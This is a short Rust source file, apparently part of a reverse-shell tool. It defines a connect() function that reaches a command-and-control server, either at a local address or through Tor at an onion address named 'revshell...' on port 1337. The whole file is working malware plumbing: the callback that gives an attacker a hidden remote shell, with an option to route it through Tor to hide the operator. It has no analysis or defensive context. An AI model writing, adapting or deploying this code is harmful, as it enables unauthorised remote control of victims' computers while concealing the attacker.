#[cfg(feature = "tor")] use arti_client::DataStream; #[cfg(not(feature = "tor"))] use tokio::net::TcpStream; #[inline] #[cfg(not(feature = "tor"))] pub async fn connect() -> std::io::Result { static CNC: &str = "127.0.0.1:1337"; let sock = tokio::net::TcpSocket::new_v4()?; let stream = sock.connect(CNC.parse().unwrap()).await?; stream.set_nodelay(true)?; Ok(stream) } #[inline] #[cfg(feature = "tor")] pub async fn connect() -> std::io::Result { use arti_client::{config::TorClientConfigBuilder, TorClient}; static CNC: &str = "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion"; let config = { let mut conf = TorClientConfigBuilder::default(); conf.address_filter().allow_onion_addrs(true); conf.build().unwrap() }; let tor_client = TorClient::create_bootstrapped(config).await.unwrap(); match tor_client.connect((CNC, 1337)).await { Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)), Ok(stream) => Ok(stream), } }